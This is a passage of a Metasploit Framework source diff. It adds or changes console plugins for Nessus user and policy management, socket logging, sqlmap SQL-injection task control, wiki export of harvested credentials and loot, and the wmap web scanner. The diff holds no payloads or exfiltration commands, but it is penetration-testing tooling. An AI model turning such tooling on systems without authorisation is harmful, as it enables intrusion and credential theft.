user["id"], user["name"], user["username"], user["type"], user["email"], user["permissions"] ] + } + print_line + print_line tbl.to_s + end + + def cmd_nessus_user_add(*args) + if args[0] == "-h" + print_status("nessus_user_add ") + print_status("Permissions are 32, 64, and 128") + print_status("Type can be either local or LDAP") + print_status("Example:> nessus_user_add msf msf 16 local") + print_status("You need to be an admin in order to add accounts") + print_status("Use nessus_user_list to list all users") + return + end + if !nessus_verify_token + return + end + if !@n.is_admin print_error("Your Nessus user is not an admin") return end + case args.length + when 4 + user = args[0] + pass = args[1] + permissions = args[2] + type = args[3] + else + print_status("Usage") + print_status("nessus_user_add ") + return + end + add = @n.user_add(user,pass,permissions,type) + if add["id"] + print_good("#{user} created successfully") + else + print_error(add.to_s) + end + end + + def cmd_nessus_user_del(*args) + if args[0] == "-h" + print_status("nessus_user_del ") + print_status("Example:> nessus_user_del 10") + print_status() + print_status("This command can only delete non admin users. You must be an admin to delete users.") + print_status("Use nessus_user_list to list all users with their corresponding user IDs") + return + end + if !nessus_verify_token + return + end + if !@n.is_admin + print_error("Your Nessus user is not an admin") + return + end + case args.length + when 1 + user_id = args[0] + else + print_status("Usage: ") + print_status("nessus_user_del ") + print_status("This command can only delete non admin users") + return + end + del = @n.user_delete(user_id) + status = del.to_s + if status == "200" + print_good("User account having user ID #{user_id} deleted successfully") + elsif status == "403" + print_error("You do not have permission to delete the user account having user ID #{user_id}") + elsif status == "404" + print_error("User account having user ID #{user_id} does not exist") + elsif status == "409" + print_error("You cannot delete your own account") + elsif status == "500" + print_error("The server failed to delete the user account having user ID #{user_id}") + else + print_error("Unknown problem occured by deleting the user account having user ID #{user_id}.") + end + end + + def cmd_nessus_user_passwd(*args) + if args[0] == "-h" + print_status("nessus_user_passwd ") + print_status("Example:> nessus_user_passwd 10 mynewpassword") + print_status("Changes the password of a user. You must be an admin to change passwords.") + print_status("Use nessus_user_list to list all users with their corresponding user IDs") + return + end + if !nessus_verify_token + return + end + if !@n.is_admin + print_error("Your Nessus user is not an admin") + return + end + case args.length + when 2 + user_id = args[0] + pass = args[1] + else + print_status("Usage: ") + print_status("nessus_user_passwd ") + print_status("Use nessus_user_list to list all users with their corresponding user IDs") + return + end + pass = @n.user_chpasswd(user_id,pass) + status = pass.to_s + if status == "200" + print_good("Password of account having user ID #{user_id} changed successfully") + elsif status == "400" + print_error("Password is too short") + elsif status == "403" + print_error("You do not have the permission to change password for the user having user ID #{user_id}") + elsif status == "404" + print_error("User having user ID #{user_id} does not exist") + elsif status == "500" + print_error("Nessus server failed to changed the user password") + else + print_error("Unknown problem occured while changing the user password") + end + end + + def cmd_nessus_policy_list(*args) + if args[0] == "-h" + print_status("nessus_policy_list") + print_status("Example:> nessus_policy_list") + print_status() + print_status("Lists all policies on the server") + return + end + if !nessus_verify_token + return + end + list=@n.list_policies + + unless list["policies"] + print_error("No policies found") + return + end tbl = Rex::Ui::Text::Table.new( 'Columns' => [ + 'Policy ID', 'Name', - 'Value', - 'Type' + 'Policy UUID' ]) - prefs = @n.plugin_prefs - prefs.each {|pref| - tbl << [ pref['prefname'], pref['prefvalues'], pref['preftype'] ] + list["policies"].each { |policy| + tbl << [ policy["id"], policy["name"], policy["template_uuid"] ] } - print_good("Nessus Plugins Pref List") - print_good "\n" print_line tbl.to_s end + + def cmd_nessus_policy_del(*args) + if args[0] == "-h" + print_status("nessus_policy_del ") + print_status("Example:> nessus_policy_del 1") + print_status() + print_status("You must be an admin to delete policies.") + print_status("Use nessus_policy_list to list all policies with their corresponding policy IDs") + return + end + if !nessus_verify_token + return + end + if !@n.is_admin + print_error("Your Nessus user is not an admin") + return + end + case args.length + when 1 + policy_id = args[0] + else + print_status("Usage: ") + print_status("nessus_policy_del ") + print_status("Use nessus_policy_list to list all the policies with their corresponding policy IDs") + return + end + del = @n.policy_delete(policy_id) + status = del.to_s + if status == "200" + print_good("Policy ID #{policy_id} successfully deleted") + elsif status == "403" + print_error("You do not have permission to delete policy ID #{policy_id}") + elsif status == "404" + print_error("Policy ID #{policy_id} does not exist") + elsif status == "405" + print_error("Policy ID #{policy_id} is currently in use and cannot be deleted") + else + print_error("Unknown problem occured by deleting the user account having user ID #{user_id}.") + end + end + + def valid_policy(*args) + case args.length + when 1 + pid = args[0] + else + print_error("No Policy ID supplied.") + return + end + pol = @n.list_policies + pol["policies"].each { |p| + if p["template_uuid"] == pid + return true + end + } + return false + end + + def nessus_verify_db + if !(framework.db and framework.db.active) + print_error("No database has been configured, please use db_create/db_connect first") + return false + end + true + end end def initialize(framework, opts) super - add_console_dispatcher(ConsoleCommandDispatcher) - @nbver = "1.1" # Nessus Plugin Version. Increments each time we commit to msf - @xindex = "#{Msf::Config.get_config_root}/nessus_index" # location of the exploit index file used to speed up searching for valid exploits. - @nessus_yaml = "#{Msf::Config.get_config_root}/nessus.yaml" #location of the nessus.yml containing saved nessus creds - print_status("Nessus Bridge for Metasploit #{@nbver}") - print_good("Type %bldnessus_help%clr for a command listing") - #nessus_index + print_status(PLUGIN_DESCRIPTION) + print_status("Type %bldnessus_help%clr for a command listing") end def cleanup remove_console_dispatcher('Nessus') end - - def name - "nessus" - end - - def desc - "Nessus Bridge for Metasploit #{@nbver}" - end - protected end end diff --git a/plugins/socket_logger.rb b/plugins/socket_logger.rb index 3666f334ee..d608e039cc 100644 --- a/plugins/socket_logger.rb +++ b/plugins/socket_logger.rb @@ -31,19 +31,18 @@ class Plugin::SocketLogger < Msf::Plugin def on_socket_created(comm, sock, param) # Sockets created by the exploit have MsfExploit set and MsfPayload not set - if (param.context['MsfExploit'] and (! param.context['MsfPayload'] )) + if param.context and param.context['MsfExploit'] and (! param.context['MsfPayload']) sock.extend(SocketLogger::SocketTracer) sock.context = param.context sock.params = param sock.initlog(@path, @prefix) - end end end def initialize(framework, opts) - log_path = opts['path'] || "/tmp" + log_path = opts['path'] || Msf::Config.log_directory log_prefix = opts['prefix'] || "socket_" super @@ -60,7 +59,7 @@ class Plugin::SocketLogger < Msf::Plugin end def desc - "Logs all socket operations to hex dumps in /tmp" + "Log socket operations to a directory as individual files" end protected @@ -78,17 +77,16 @@ module SocketTracer # Hook the write method def write(buf, opts = {}) - @fd.puts "WRITE (#{buf.length} bytes)" - @fd.puts Rex::Text.to_hex_dump(buf) + @fd.puts "WRITE\t#{buf.length}\t#{Rex::Text.encode_base64(buf)}" + @fd.flush super(buf, opts) end # Hook the read method def read(length = nil, opts = {}) r = super(length, opts) - - @fd.puts "READ (#{r.length} bytes)" - @fd.puts Rex::Text.to_hex_dump(r) + @fd.puts "READ\t#{ r ? r.length : 0}\t#{Rex::Text.encode_base64(r.to_s)}" + @fd.flush return r end @@ -97,15 +95,28 @@ module SocketTracer @fd.close end + def format_socket_conn + "#{params.proto.upcase} #{params.localhost}:#{params.localport} > #{params.peerhost}:#{params.peerport}" + end + + def format_module_info + return "" unless params.context and params.context['MsfExploit'] + if params.context['MsfExploit'].respond_to? :fullname + return "via " + params.context['MsfExploit'].fullname + end + "via " + params.context['MsfExploit'].to_s + end + def initlog(path, prefix) @log_path = path @log_prefix = prefix @log_id = @@last_id @@last_id += 1 @fd = File.open(File.join(@log_path, "#{@log_prefix}#{@log_id}.log"), "w") - @fd.puts "Socket created at #{Time.now}" - @fd.puts "Info: #{params.proto} #{params.localhost}:#{params.localport} -> #{params.peerhost}:#{params.peerport}" + @fd.puts "Socket created at #{Time.now} (#{Time.now.to_i})" + @fd.puts "Info: #{format_socket_conn} #{format_module_info}" @fd.puts "" + @fd.flush end end diff --git a/plugins/sqlmap.rb b/plugins/sqlmap.rb new file mode 100644 index 0000000000..6115a3a7b6 --- /dev/null +++ b/plugins/sqlmap.rb @@ -0,0 +1,291 @@ +require 'sqlmap/sqlmap_session' +require 'sqlmap/sqlmap_manager' +require 'json' + +module Msf + class Plugin::Sqlmap < Msf::Plugin + class SqlmapCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + def name + 'Sqlmap' + end + + def commands + { + 'sqlmap_new_task' => 'It\'s a task!', + 'sqlmap_connect' => 'sqlmap_connect []', + 'sqlmap_list_tasks' => 'List the knows tasks. Not stored in a DB, so lives as long as the console does', + 'sqlmap_get_option' => 'Get an option for a task', + 'sqlmap_set_option' => 'Set an option for a task', + 'sqlmap_start_task' => 'Start the task', + 'sqlmap_get_status' => 'Get the status of a task', + 'sqlmap_get_log' => 'Get the running log of a task', + 'sqlmap_get_data' => 'Get the resulting data of the task', + 'sqlmap_save_data' => 'Save the resulting data as web_vulns' + } + end + + def cmd_sqlmap_connect(*args) + if args.length == 0 + print_error('Need a host, and optionally a port') + return + end + + host, port = args + + if !port + @manager = Sqlmap::Manager.new(Sqlmap::Session.new(host)) + else + @manager = Sqlmap::Manager.new(Sqlmap::Session.new(host, port)) + end + + print_good('Set connection settings for host ' + host + (port ? ' on port ' + port : '')) + end + + def cmd_sqlmap_set_option(*args) + unless args.length == 3 + print_error('Usage:') + print_error("\tsqlmap_set_option ") + return + end + + unless @manager + print_error('Please run sqlmap_connect first.') + return + end + + val = args[2] =~ /^\d+$/ ? args[2].to_i : args[2] + + res = @manager.set_option(@hid_tasks[args[0]], args[1], val) + print_status("Success: #{res['success']}") + end + + def cmd_sqlmap_start_task(*args) + if args.length == 0 + print_error('Usage:') + print_error("\tsqlmap_start_task []") + return + end + + options = {} + options['url'] = args[1] if args.length == 2 + + if !options['url'] && @tasks[@hid_tasks[args[0]]]['url'] == '' + print_error('You need to specify a URL either as an argument to sqlmap_start_task or sqlmap_set_option') + return + end + + unless @manager + print_error('Please run sqlmap_connect first.') + return + end + + res = @manager.start_task(@hid_tasks[args[0]], options) + print_status("Started task: #{res['success']}") + end + + def cmd_sqlmap_get_log(*args) + unless args.length == 1 + print_error('Usage:') + print_error("\tsqlmap_get_log ") + return + end + + unless @manager + print_error('Please run sqlmap_connect first.') + return + end + + res = @manager.get_task_log(@hid_tasks[args[0]]) + + res['log'].each do |message| + print_status("[#{message['time']}] #{message['level']}: #{message['message']}") + end + end + + def cmd_sqlmap_get_status(*args) + unless args.length == 1 + print_error('Usage:') + print_error("\tsqlmap_get_status ") + return + end + + unless @manager + print_error('Please run sqlmap_connect first.') + return + end + + res = @manager.get_task_status(@hid_tasks[args[0]]) + + print_status('Status: ' + res['status']) + end + + def cmd_sqlmap_get_data(*args) + unless args.length == 1 + print_error('Usage:') + print_error("\tsqlmap_get_data ") + return + end + + @hid_tasks ||= {} + @tasks ||= {} + + unless @manager + print_error('Please run sqlmap_connect first.') + return + end + + @tasks[@hid_tasks[args[0]]] = @manager.get_options(@hid_tasks[args[0]])['options'] + + print_line + print_status('URL: ' + @tasks[@hid_tasks[args[0]]]['url']) + + res = @manager.get_task_data(@hid_tasks[args[0]]) + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => ['Title', 'Payload']) + + res['data'].each do |d| + d['value'].each do |v| + v['data'].each do |i| + title = i[1]['title'].split('-')[0] + payload = i[1]['payload'] + tbl << [title, payload] + end + end + end + + print_line + print_line tbl.to_s + print_line + end + + def cmd_sqlmap_save_data(*args) + unless args.length == 1 + print_error('Usage:') + print_error("\tsqlmap_save_data ") + return + end + + unless framework.db && framework.db.usable + print_error('No database is connected or usable') + return + end + + @hid_tasks ||= {} + @tasks ||= {} + + unless @manager + print_error('Please run sqlmap_connect first.') + return + end + + @tasks[@hid_tasks[args[0]]] = @manager.get_options(@hid_tasks[args[0]])['options'] + + print_line + print_status('URL: ' + @tasks[@hid_tasks[args[0]]]['url']) + + res = @manager.get_task_data(@hid_tasks[args[0]]) + web_vuln_info = {} + url = @tasks[@hid_tasks[args[0]]]['url'] + proto = url.split(':')[0] + host = url.split('/')[2] + port = 80 + host, port = host.split(':') if host.include?(':') + path = '/' + (url.split('/')[3..(url.split('/').length - 1)].join('/')) + query = url.split('?')[1] + web_vuln_info[:web_site] = url + web_vuln_info[:path] = path + web_vuln_info[:query] = query + web_vuln_info[:host] = host + web_vuln_info[:port] = port + web_vuln_info[:ssl] = (proto =~ /https/) + web_vuln_info[:category] = 'imported from sqlmap' + res['data'].each do |d| + d['value'].each do |v| + web_vuln_info[:pname] = v['parameter'] + web_vuln_info[:method] = v['place'] + web_vuln_info[:payload] = v['suffix'] + v['data'].values.each do |i| + web_vuln_info[:name] = i['title'] + web_vuln_info[:description] = res.to_json + web_vuln_info[:proof] = i['payload'] + framework.db.report_web_vuln(web_vuln_info) + end + end + end + print_good('Saved vulnerabilities to database.') + end + + def cmd_sqlmap_get_option(*args) + @hid_tasks ||= {} + @tasks ||= {} + + unless args.length == 2 + print_error('Usage:') + print_error("\tsqlmap_get_option ") + end + + unless @manager + print_error('Please run sqlmap_connect first.') + return + end + + arg = args.first + task_options = @manager.get_options(@hid_tasks[arg]) + @tasks[@hid_tasks[arg]] = task_options['options'] + + if @tasks[@hid_tasks[arg]] + print_good(args[1] + ': ' + @tasks[@hid_tasks[arg]][args[1]].to_s) + else + print_error("Option #{arg} doesn't exist") + end + end + + def cmd_sqlmap_new_task + @hid_tasks ||= {} + @tasks ||= {} + + unless @manager + print_error('Please run sqlmap_connect first.') + return + end + + taskid = @manager.new_task['taskid'] + @hid_tasks[(@hid_tasks.length + 1).to_s] = taskid + task_options = @manager.get_options(taskid) + @tasks[@hid_tasks[@hid_tasks.length]] = task_options['options'] + print_good("Created task: #{@hid_tasks.length}") + end + + def cmd_sqlmap_list_tasks + @hid_tasks ||= {} + @tasks ||= {} + @hid_tasks.keys.each do |task| + print_good("Task ID: #{task}") + end + end + end + + def initialize(framework, opts) + super + + add_console_dispatcher(SqlmapCommandDispatcher) + + print_status('Sqlmap plugin loaded') + end + + def cleanup + remove_console_dispatcher('Sqlmap') + end + + def name + 'Sqlmap' + end + + def desc + 'Use Sqlmap, yo!' + end + end +end diff --git a/plugins/wiki.rb b/plugins/wiki.rb new file mode 100644 index 0000000000..80641e46f0 --- /dev/null +++ b/plugins/wiki.rb @@ -0,0 +1,574 @@ +## +# +# This plugin requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +# +## + +module Msf + +### +# +# This plugin extends the Rex::Ui::Text::Table class and provides commands +# that output database information for the current workspace in a wiki +# friendly format +# +# @author Trenton Ivey +# * *email:* ("trenton.ivey@example.com").gsub(/example/,"gmail") +# * *github:* kn0 +# * *twitter:* trentonivey +### +class Plugin::Wiki < Msf::Plugin + + ### + # + # This class implements a command dispatcher that provides commands to + # output database information in a wiki friendly format. + # + ### + class WikiCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + # + # The dispatcher's name. + # + def name + "Wiki" + end + + # + # Returns the hash of commands supported by the wiki dispatcher. + # + def commands + { + "dokuwiki" => "Outputs data from the current workspace in dokuwiki markup.", + "mediawiki" => "Outputs data from the current workspace in mediawiki markup." + } + end + + # + # Outputs database entries as Dokuwiki formatted text by passing the + # arguments to the wiki method with a wiki_type of 'dokuwiki' + # @param [Array] args the arguments passed when the command is + # called + # @see #wiki + # + def cmd_dokuwiki(*args) + wiki("dokuwiki", *args) + end + + # + # Outputs database entries as Mediawiki formatted text by passing the + # arguments to the wiki method with a wiki_type of 'mediawiki' + # @param [Array] args the arguments passed when the command is + # called + # @see #wiki + # + def cmd_mediawiki(*args) + wiki("mediawiki", *args) + end + + # + # This method parses arguments passed from the wiki output commands + # and then formats and displays or saves text according to the + # provided wiki type + # + # @param [String] wiki_type selects the wiki markup lanuguage output to + # use, it can be: + # * dokuwiki + # * mediawiki + # + # @param [Array] args the arguments passed when the command is + # called + # + def wiki(wiki_type, *args) + # Create a table options hash + tbl_opts = {} + # Set some default options for the table hash + tbl_opts[:hosts] = [] + tbl_opts[:links] = false + tbl_opts[:wiki_type] = wiki_type + tbl_opts[:heading_size] = 5 + case wiki_type + when "dokuwiki" + tbl_opts[:namespace] = 'notes:targets:hosts:' + else + tbl_opts[:namespace] = '' + end + + # Get the table we should be looking at + command = args.shift + if command.nil? or not(["creds","hosts","loot","services","vulns"].include?(command.downcase)) + usage(wiki_type) + return + end + + # Parse the rest of the arguments + while (arg = args.shift) + case arg + when '-o','--output' + tbl_opts[:file_name] = next_opt(args) + when '-h','--help' + usage(wiki_type) + return + when '-l', '-L', '--link', '--links' + tbl_opts[:links] = true + when '-n', '-N', '--namespace' + tbl_opts[:namespace] = next_opt(args) + when '-p', '-P', '--port', '--ports' + tbl_opts[:ports] = next_opts(args) + tbl_opts[:ports].map! {|p| p.to_i} + when '-s', '-S', '--search' + tbl_opts[:search] = next_opt(args) + when '-i', '-I', '--heading-size' + heading_size = next_opt(args) + tbl_opts[:heading_size] = heading_size.to_i unless heading_size.nil? + else + # Assume it is a host + rw = Rex::Socket::RangeWalker.new(arg) + if rw.valid? + rw.each do |ip| + tbl_opts[:hosts] << ip + end + else + print_warning "#{arg} is an invalid hostname" + end + end + end + + # Create an Array to hold a list of tables that we want to show + outputs = [] + + # Output the table + if respond_to? "#{command}_to_table", true + table = send "#{command}_to_table", tbl_opts + if table.respond_to? "to_#{wiki_type}", true + if tbl_opts[:file_name] + print_status("Wrote the #{command} table to a file as a #{wiki_type} formatted table") + File.open(tbl_opts[:file_name],"wb") {|f| + f.write(table.send "to_#{wiki_type}") + } + else + print_line table.send "to_#{wiki_type}" + end + return + end + end + usage(wiki_type) + end + + # + # Gets the next set of arguments when parsing command options + # + # *Note:* This will modify the provided argument list + # + # @param [Array] args the list of unparsed arguments + # @return [Array] the unique list of items before the next '-' in the + # provided array + # + def next_opts(args) + opts = [] + while ( opt = args.shift ) + if opt =~ /^-/ + args.unshift opt + break + end + opts.concat ( opt.split(',') ) + end + return opts.uniq + end + + # + # Gets the next argument when parsing command options + # + # *Note:* This will modify the provided argument list + # + # @param [Array] args the list of unparsed arguments + # @return [String, nil] the argument or nil if the argument starts with a '-' + # + def next_opt(args) + return nil if args[0] =~ /^-/ + args.shift + end + + # + # Outputs the help message + # + # @param [String] cmd_name the type of the wiki output command to display + # help for + # + def usage(cmd_name = "") + print_line "Usage: #{cmd_name} [options] [IP1 IP2,IPn]" + print_line + print_line "The first argument must be the type of table to retrieve:" + print_line " creds, hosts, loot, services, vulns" + print_line + print_line "OPTIONS:" + print_line " -l,--link Enables links for host addresses" + print_line " -n,--namespace Changes the default namespace for host links" + print_line " -o,--output Write output to a file" + print_line " -p,--port Only return results that relate to given ports" + print_line " -s,--search Only show results that match the provided text" + print_line " -i,--heading-size <1-6> Changes the heading size" + print_line " -h,--help Displays this menu" + print_line + end + + # + # Outputs credentials in the database (within the current workspace) as a Rex table object + # @param [Hash] opts + # @option opts [Array] :hosts contains list of hosts used to limit results + # @option opts [Array] :ports contains list of ports used to limit results + # @option opts [String] :search limits results to those containing a provided string + # @return [Rex::Ui::Text::Table] table containing credentials + # + def creds_to_table(opts = {}) + tbl = Rex::Ui::Text::Table.new({'Columns' => ['host','port','user','pass','type','proof','active?']}) + tbl.header = 'Credentials' + tbl.headeri = opts[:heading_size] + framework.db.creds.each do |cred| + unless opts[:hosts].nil? or opts[:hosts].empty? + next unless opts[:hosts].include? cred.service.host.address + end + unless opts[:ports].nil? + next unless opts[:ports].any? {|p| cred.service.port.eql? p} + end + address = cred.service.host.address + address = to_wikilink(address,opts[:namespace]) if opts[:links] + row = [ + address, + cred.service.port, + cred.user, + cred.pass, + cred.ptype, + cred.proof, + cred.active + ] + if opts[:search] + tbl << row if row.any? {|r| /#{opts[:search]}/i.match r.to_s} + else + tbl << row + end + end + return tbl + end + + # + # Outputs host information stored in the database (within the current + # workspace) as a Rex table object + # @param [Hash] opts + # @option opts [Array] :hosts contains list of hosts used to limit results + # @option opts [Array] :ports contains list of ports used to limit results + # @option opts [String] :search limits results to those containing a provided string + # @return [Rex::Ui::Text::Table] table containing credentials + # + def hosts_to_table(opts = {}) + tbl = Rex::Ui::Text::Table.new({'Columns' => ['address','mac','name','os_name','os_flavor','os_sp','purpose','info','comments']}) + tbl.header = 'Hosts' + tbl.headeri = opts[:heading_size] + framework.db.hosts.each do |host| + unless opts[:hosts].nil? or opts[:hosts].empty? + next unless opts[:hosts].include? host.address + end + unless opts[:ports].nil? + next unless (host.services.map{|s| s[:port]}).any? {|p| opts[:ports].include? p} + end + address = host.address + address = to_wikilink(address,opts[:namespace]) if opts[:links] + row = [ + address, + host.mac, + host.name, + host.os_name, + host.os_flavor, + host.os_sp, + host.purpose, + host.info, + host.comments + ] + if opts[:search] + tbl << row if row.any? {|r| /#{opts[:search]}/i.match r.to_s} + else + tbl << row + end + end + return tbl + end + + # + # Outputs loot information stored in the database (within the current + # workspace) as a Rex table object + # @param [Hash] opts + # @option opts [Array] :hosts contains list of hosts used to limit results + # @option opts [Array] :ports contains list of ports used to limit results + # @option opts [String] :search limits results to those containing a provided string + # @return [Rex::Ui::Text::Table] table containing credentials + # + def loot_to_table(opts = {}) + tbl = Rex::Ui::Text::Table.new({'Columns' => ['host','service','type','name','content','info','path']}) + tbl.header = 'Loot' + tbl.headeri = opts[:heading_size] + framework.db.loots.each do |loot| + unless opts[:hosts].nil? or opts[:hosts].empty? + next unless opts[:hosts].include? loot.host.address + end + unless opts[:ports].nil? or opts[:ports].empty? + next if loot.service.nil? or loot.service.port.nil? or not opts[:ports].include? loot.service.port + end + if loot.service + svc = (loot.service.name ? loot.service.name : "#{loot.service.port}/#{loot.service.proto}") + end + address = loot.host.address + address = to_wikilink(address,opts[:namespace]) if opts[:links] + row = [ + address, + svc || "", + loot.ltype, + loot.name, + loot.content_type, + loot.info, + loot.path + ] + if opts[:search] + tbl << row if row.any? {|r| /#{opts[:search]}/i.match r.to_s} + else + tbl << row + end + end + return tbl + end + + # + # Outputs service information stored in the database (within the current + # workspace) as a Rex table object + # @param [Hash] opts + # @option opts [Array] :hosts contains list of hosts used to limit results + # @option opts [Array] :ports contains list of ports used to limit results + # @option opts [String] :search limits results to those containing a provided string + # @return [Rex::Ui::Text::Table] table containing credentials + # + def services_to_table(opts = {}) + tbl = Rex::Ui::Text::Table.new({'Columns' => ['host','port','proto','name','state','info']}) + tbl.header = 'Services' + tbl.headeri = opts[:heading_size] + framework.db.services.each do |service| + unless opts[:hosts].nil? or opts[:hosts].empty? + next unless opts[:hosts].include? service.host.address + end + unless opts[:ports].nil? or opts[:ports].empty? + next unless opts[:ports].any? {|p| service[:port].eql? p} + end + address = service.host.address + address = to_wikilink(address,opts[:namespace]) if opts[:links] + row = [ + address, + service.port, + service.proto, + service.name, + service.state, + service.info + ] + if opts[:search] + tbl << row if row.any? {|r| /#{opts[:search]}/i.match r.to_s} + else + tbl << row + end + end + return tbl + end + + # + # Outputs vulnerability information stored in the database (within the current + # workspace) as a Rex table object + # @param [Hash] opts + # @option opts [Array] :hosts contains list of hosts used to limit results + # @option opts [Array] :ports contains list of ports used to limit results + # @option opts [String] :search limits results to those containing a provided string + # @return [Rex::Ui::Text::Table] table containing credentials + # + def vulns_to_table(opts = {}) + tbl = Rex::Ui::Text::Table.new({'Columns' => ['Title','Host','Port','Info','Detail Count','Attempt Count','Exploited At','Updated At']}) + tbl.header = 'Vulns' + tbl.headeri = opts[:heading_size] + framework.db.vulns.each do |vuln| + unless opts[:hosts].nil? or opts[:hosts].empty? + next unless opts[:hosts].include? vuln.host.address + end + unless opts[:ports].nil? or opts[:ports].empty? + next unless opts[:ports].any? {|p| vuln.service.port.eql? p} + end + address = vuln.host.address + address = to_wikilink(address,opts[:namespace]) if opts[:links] + row = [ + vuln.name, + address, + (vuln.service ? vuln.service.port : ""), + vuln.info, + vuln.vuln_detail_count, + vuln.vuln_attempt_count, + vuln.exploited_at, + vuln.updated_at, + ] + if opts[:search] + tbl << row if row.any? {|r| /#{opts[:search]}/i.match r.to_s} + else + tbl << row + end + end + return tbl + end + + # + # Converts a value to a wiki link + # @param [String] text value to convert to a link + # @param [String] namespace optional namespace to set for the link + # @return [String] the formated wiki link + def to_wikilink(text,namespace = "") + return "[[" + namespace + text + "]]" + end + + end + + + # + # Plugin Initialization + # + + + # + # Constructs a new instance of the plugin and registers the console + # dispatcher. It also extends Rex by adding the following methods: + # * Rex::Ui::Text::Table.to_dokuwiki + # * Rex::Ui::Text::Table.to_mediawiki + # + def initialize(framework, opts) + super + + # Extend Rex::Ui::Text::Table class so it can output wiki formats + add_dokuwiki_to_rex + add_mediawiki_to_rex + + # Add the console dispatcher + add_console_dispatcher(WikiCommandDispatcher) + end + + # + # The cleanup routine removes the methods added to Rex by the plugin + # initialization and then removes the console dispatcher + # + def cleanup + # Cleanup methods added to Rex::Ui::Text::Table + Rex::Ui::Text::Table.class_eval { undef :to_dokuwiki } + Rex::Ui::Text::Table.class_eval { undef :to_mediawiki } + # Deregister the console dispatcher + remove_console_dispatcher('Wiki') + end + + # + # Returns the plugin's name. + # + def name + "wiki" + end + + # + # This method returns a brief description of the plugin. It should be no + # more than 60 characters, but there are no hard limits. + # + def desc + "Adds output to wikitext" + end + + + # + # The following methods are added here to keep the initialize method + # readable + # + + + # + # Extends Rex tables to be able to create Dokuwiki tables + # + def add_dokuwiki_to_rex + Rex::Ui::Text::Table.class_eval do + def to_dokuwiki + str = prefix.dup + # Print the header if there is one. Use headeri to determine wiki paragraph level + if header + level = "=" * headeri + str << level + header + level + "\n" + end + # Add the column names to the top of the table + columns.each do |col| + str << "^ " + col.to_s + " " + end + str << "^\n" unless columns.count.eql? 0 + # Fill out the rest of the table with rows + rows.each do |row| + row.each do |val| + cell = val.to_s + cell = "#{cell}" if cell.include? "|" + str << "| " + cell + " " + end + str << "|\n" unless rows.count.eql? 0 + end + return str + end + end + end + + # + # Extends Rex tables to be able to create Mediawiki tables + # + def add_mediawiki_to_rex + Rex::Ui::Text::Table.class_eval do + def to_mediawiki + str = prefix.dup + # Print the header if there is one. Use headeri to determine wiki + # headline level. Mediawiki does headlines a bit backwards so that + # the header level isn't limited. This results in the need to 'flip' + # the headline length to standardize it. + if header + if headeri <= 6 + level = "=" * (-headeri + 7) + str << "#{level} #{header} #{level}" + else + str << "#{header}" + end + str << "\n" + end + # Setup the table with some standard formatting options + str << "{|class=\"wikitable\"\n" + # Output formated column names as the first row + unless columns.count.eql? 0 + str << "!" + str << columns.join("!!") + str << "\n" + end + # Add the rows to the table + unless rows.count.eql? 0 + rows.each do |row| + str << "|-\n|" + # Try and prevent formatting tags from causing problems + bad = ['&','<','>','"',"'",'/'] + r = row.join("|| ") + r.each_char do |c| + if bad.include? c + str << Rex::Text.html_encode(c) + else + str << c + end + end + str << "\n" + end + end + # Finish up the table + str << "|}" + return str + end + end + end + +protected +end +end diff --git a/plugins/wmap.rb b/plugins/wmap.rb index d64471b4be..021918878f 100644 --- a/plugins/wmap.rb +++ b/plugins/wmap.rb @@ -2,13 +2,9 @@ # Web assessment for the metasploit framework # Efrain Torres - et[ ] metasploit.com 2012 # -# $Id$ -# $Revision$ -# require 'rabal/tree' require 'msf/core/rpc/v10/client' -#require 'fileutils' module Msf @@ -931,7 +927,7 @@ class Plugin::Wmap < Msf::Plugin end end - datastr = temparr.join("&") if (temparr and not temparr.empty?) + datastr = temparr.join("&") if (temparr and not temparr.empty?) if (utest_query.has_key?(signature(form.path,datastr)) == false) @@ -1070,7 +1066,7 @@ class Plugin::Wmap < Msf::Plugin end end - datastr = temparr.join("&") if (temparr and not temparr.empty?) + datastr = temparr.join("&") if (temparr and not temparr.empty?) modopts['METHOD'] = req.method.upcase modopts['PATH'] = req.path @@ -1422,7 +1418,7 @@ class Plugin::Wmap < Msf::Plugin inipath = '/' end - #site.web_forms.find_all_by_path(target.path).each do |form| + #site.web_forms.where(path: target.path).each do |form| ckey = [ site.vhost, host.address, serv.port, inipath].join("|") if not self.targets[ckey] @@ -1567,7 +1563,7 @@ class Plugin::Wmap < Msf::Plugin wtree = Tree.new(s.vhost) # Load site pages - s.web_pages.find(:all, :order => 'path').each do |req| + s.web_pages.order('path asc').each do |req| tarray = req.path.to_s.split(pathchr) tarray.delete("") tpath = Pathname.new(pathchr) diff --git a/script/cucumber b/script/cucumber new file mode 100755 index 0000000000..7fa5c92086 --- /dev/null +++ b/script/cucumber @@ -0,0 +1,10 @@ +#!/usr/bin/env ruby + +vendored_cucumber_bin = Dir["#{File.dirname(__FILE__)}/../vendor/{gems,plugins}/cucumber*/bin/cucumber"].first +if vendored_cucumber_bin + load File.expand_path(vendored_cucumber_bin) +else + require 'rubygems' unless ENV['NO_RUBYGEMS'] + require 'cucumber' + load Cucumber::BINARY +end diff --git a/script/rails b/script/rails new file mode 100644 index 0000000000..0839ba426e --- /dev/null +++ b/script/rails @@ -0,0 +1,6 @@ +#!/usr/bin/env ruby +# This command will automatically be run when you run "rails" with Rails 3 gems installed from the root of your application. + +APP_PATH = File.expand_path('../../config/application', __FILE__) +require File.expand_path('../../config/boot', __FILE__) +require 'rails/commands' \ No newline at end of file diff --git a/scripts/meterpreter/arp_scanner.rb b/scripts/meterpreter/arp_scanner.rb index c71d201ce3..b6c52a3105 100644 --- a/scripts/meterpreter/arp_scanner.rb +++ b/scripts/meterpreter/arp_scanner.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/autoroute.rb b/scripts/meterpreter/autoroute.rb index 2561dee91a..8af8d4cc5b 100644 --- a/scripts/meterpreter/autoroute.rb +++ b/scripts/meterpreter/autoroute.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Meterpreter script for setting up a route from within a # Meterpreter session, without having to background the diff --git a/scripts/meterpreter/checkvm.rb 